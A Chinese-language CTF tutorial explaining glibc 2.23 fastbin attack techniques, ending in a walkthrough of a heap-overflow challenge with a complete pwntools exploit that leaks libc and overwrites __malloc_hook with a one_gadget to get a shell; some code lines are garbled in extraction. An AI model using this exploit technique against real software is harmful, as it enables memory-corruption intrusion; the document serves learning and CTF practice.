fastbin attack也是堆题中经常出现的一种利用手法,本节介绍fastbin attack。
fastbin attack介绍
原理
我们先看一下__int__free的源代码了解下fast bin如何处理free的chunk(以libc2.23为例):
上面的代码很复杂,功能很多,如check_inuse_chunk(av, p)会检查p的物理相邻的下一个堆块的inuse位是否置1,if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())&& (chunk_at_offset(p, size) != av->top) )判断p的大小是否小于global_max_fast和p物理相邻的堆块是否是top chunk,还有p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求等等,这些是进入fast bin前的步骤。
最后将free的chunk放入fast bin时的检查只有:if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0)) {errstr = "invalid fastbin entry (free)";goto errout;},它获取fast bin中的第一个chunk,与新放进来的chunk进行对比,检查第一个chunk和新进入的chunk是否相同,不相等将其放入fast bin中代替第一项,相等则报错,但它没有检查fast bin中是否已经有这个释放过的chunk,那么我们可以在free chunk时改变free的顺序使其double free,或者配合其他漏洞将这个chunk的指针修改完成任意地址写等等。
利用
上面我们知道了fastbin attack是因为fast bin的检查机制导致的,利用这种技术完成攻击的前提有2个:
1、能够创建fast bin类型的chunk。
2、存在能够控制chunk内容的漏洞,如UAF、堆溢出等。
与fastbin attack有关的技术有:
Fastbin Double Free:
fast bin是一个单链表,添加或移除chunk都是从链尾开始,使用先进后出算法,free三个fast bin中的两个堆块chunk1、chunk2、chunk1后fast bin的结构会变成这样:
因为fast bin中的chunk是通过fd指针链接的,这时我们申请回来chunk1同时利用刚申请回来的chunk1修改fast bin中的chunk1fd指针,fast bin中的结构就会这样:
fake_addr可以是free_got、全局指针等,完成fd指针的修改后我们重新申请chunk2、chunk1,将fast bin中的chunk全部申请出来后再申请一个chunk3,chunk3就是我们伪造的fake_addr地址处的一块内存,如果申请的是一个全局指针,此时我们就可以通过chunk3控制一个指针。
这种方式能够成功的原因除了fast bin的检查机制有问题外还有fast bin中的chunk被释放后inuse位不会置0,因为一般情况下fast bin中的chunk不会随意合并。
use after free
UAF完成fastbin attack与double free类似,只是UAF是释放两次堆块chunk1和chunk2即可:
我们知道有UAF漏洞的chunk在free后还能使用,我们就是利用这点,在chunk释放后修改chunk1的fd,然后申请两个chunk后再申请第三个chunk即是我们指向的内存。
chunk extend
使用这种技术的前提是存在堆溢出漏洞,通过溢出漏洞我们能够控制chunk的size,完成chunk overlapping后free chunk,再通过重新申请回来的chunk修改新free的chunk的fd来申请目标内存,具体说就是先申请3个chunk,布局如下:
我们通过chunk1的堆溢出修改chunk2的size为chunk2和chunk3的size之和(chunk2和chunk3之和要保证不超过fast bin最大值),然后free chunk2,free chunk3,之后的fast bin中会有chunk3和chunk2,这时我们申请chunk2会返回chunk2和chunk3的size之和的一个chunk,正好是chunk2和chunk3连在一起,这时的chunk3还在fast bin中,我们通过新申请回来的chunk2修改chunk3的fd,再申请回来chunk3,下一次再申请就是我们fd指向的地址。
不管是堆溢出还是off-by-one只要能够溢出到下一个堆的size这种技术都可以使用,唯一要注意chunk的size。
House Of Spirit
这个是笔者根据自己的理解写的,如果哪里有错误请务必指出,谢谢。
我理解的house of spirit就是现在有一个我们想要控制的内存,那块内存可以在栈上,可以在heap上,并且我们还有两个可以控制的区域,而我们想要控制的那块内存正好在两块可控区域之间,此外还需要一个可控的指针。然后通过修改两块可控内存伪造fake_chunk,使用可控的指针指向我们伪造的fake_chunk,然后free指针将伪造的fake_chunk放入fast bin中,下次申请chunk时我们就能控制我们想要控制的那块内存了。
举个例子:
我们想要控制上图中的rip指向shellcode,我们可以通过在可控的stack1和stack2中伪造fake_chunk将这块区域伪造成chunk,然后使用一个指针指向我们伪造的fake_chunk,fake_chunk应该从stack1开始,我们在stack2中布置下一个chunk的prev_size和size绕过检查,之后我们free指针再申请一个chunk就能返回我们伪造的fake_chunk控制rip指向shellcode。
伪造时要注意:
fake chunk 的 ISMMAP 位不能为1,free时如果chunk是mmap分配的内存会单独处理。
fake chunk地址要对齐,fake chunk伪造的size大小要根据fast bin接收的chunk大小伪造也要对齐。
fake chunk的next chunk的大小不能小于2*SIZE_SZ也不能大于av->system_mem 。
fake chunk对应的fast bin链表头部不能是该fake chunk,即不能构成double free。
Alloc to Stack
Alloc to Stack利用的还是通过chunk的fd指针指向下一个chunk的原理。该技术核心在于通过修改fd指针使其指向stack,然后申请stack上的空间控制返回地址。
具体步骤为先在栈中伪造一个fake_chunk,然后free一个属于fast bin的chunk1,再修改free的chunk1的fd使其指向fake_chunk的地址,再申请回来chunk1,下一个申请的即是我们在栈上伪造的fake_chunk。
Arbitrary Alloc
Arbitrary Alloc与Alloc to stack基本完全相同,只是将stack换成了bss、data、heap等,要成功利用这种方法的前提除了保证目标地址存在合法的size外还应保证目标地址的内存可写。
总结:
根据上面的内容我们总结出fastbin attack的重点在于修改fast bin中释放的的chunk的fd指针使其指向我们想要控制的内存,只有house of spirit是直接伪造fake_chunk并控制它,以上各种技术都是以fast bin的保护机制有缺陷为基础完成控制我们想要控制的内存的目的。
例题
检查保护机制
运行查看
4个函数,allocate申请,fill编辑,free释放,dump打印。
反汇编分析
main函数:
main函数没有能利用的东西。
allocate函数:
申请的chunk最大为4096,calloc申请内存,21行保存大小,22行保存指针。
fill函数:
编辑输入内容时可以再自己输入要输入的size,超过申请时定义的size即可产生堆溢出。
dump函数:
普通的打印函数。
free函数:
将chunk的size置0后free chunk并将指针置0。
思路及利用
上面我们只找到了一个堆溢出漏洞,也没有其他有用的东西,还有创建的chunk大小可控。我们可以通过堆溢出进行chunk overlapping泄露libc地址,再通过fastbin attack修改malloc_hook为one_gadget,创建堆时即可getshell。
首先泄露libc地址:
add(0x10)
add(0x10)
add(0x90)
add(0x30)
add(0x68)
add(0x10)
edit(0,p64(0)3+p64(0xc1))
delete(1)
add(0xb0)
edit(1,p64(0)3+p64(0xa1))
delete(2)
show(1)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
上面的代码先通过堆溢出修改chunk1的size,使其覆盖chunk1和chunk2,然后free chunk1,再申请回来,此时的chunk1的大小为0xb0能够控制chunk2的内容,free chunk2前因为我们重新申请chunk1时使用的calloc导致chunk2的内容清空了还需要重新覆写一下,前面我们创建的chunk2的大小之所以为0x90是为了此时将其放入unsorted bin中利用它的fd指针泄露libc地址,之后计算获取malloc_hook即可。
然后是fastbin attack修改malloc_hook为one_gadget并去执行one_gadget:
delete(4)
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)
add(0x68)
one = 0xf02a4
one_gadget = libc_base + one
edit(4,b'x00'*0x13+p64(one_gadget))
add(0x10)
free chunk4进入fast bin中,通过溢出chunk3修改chunk4的fd指针,申请回刚才放入unsorted bin和刚进入fast bin中的chunk4后通过chunk4的fd指针覆写malloc_hook为one_gadget即可,最后的add(0x10)是为了触发one_gadget。
exp
完整的exp是:
from pwn import
p=remote("node3.buuoj.cn",28848)
libc=ELF('./libc-2.23.so')
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))
add(0x10)
add(0x10)
add(0x90)
add(0x30)
add(0x68)
add(0x10)
edit(0,p64(0)*3+p64(0xc1))
delete(1)
add(0xb0)
edit(1,p64(0)*3+p64(0xa1))
delete(2)
show(1)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
delete(4)
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)
add(0x68)
one = 0xf02a4
one_gadget = libc_base + one
edit(4,b'x00'*0x13+p64(one_gadget))
add(0x10)
p.interactive()
结果:
结语
学习堆时要注意总结重点并加以利用,还要注意多调试,如果对堆的基础结构和bins结构不够清楚建议先看堆的结构和bins结构。
参考
https://wiki.x10sec.org/pwn/linux/glibc-heap/fastbin_attack-zh/#house-of-spirit
相关推荐: 拿下靶机ColddWorld: Immersion
一、渗透环境 靶机名称:ColddWorld: Immersion来自vulnhub,下载地址为https://download.vulnhub.com/colddworld/Immersion_Machine.ova 靶机IP地址为192.168.17.14…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论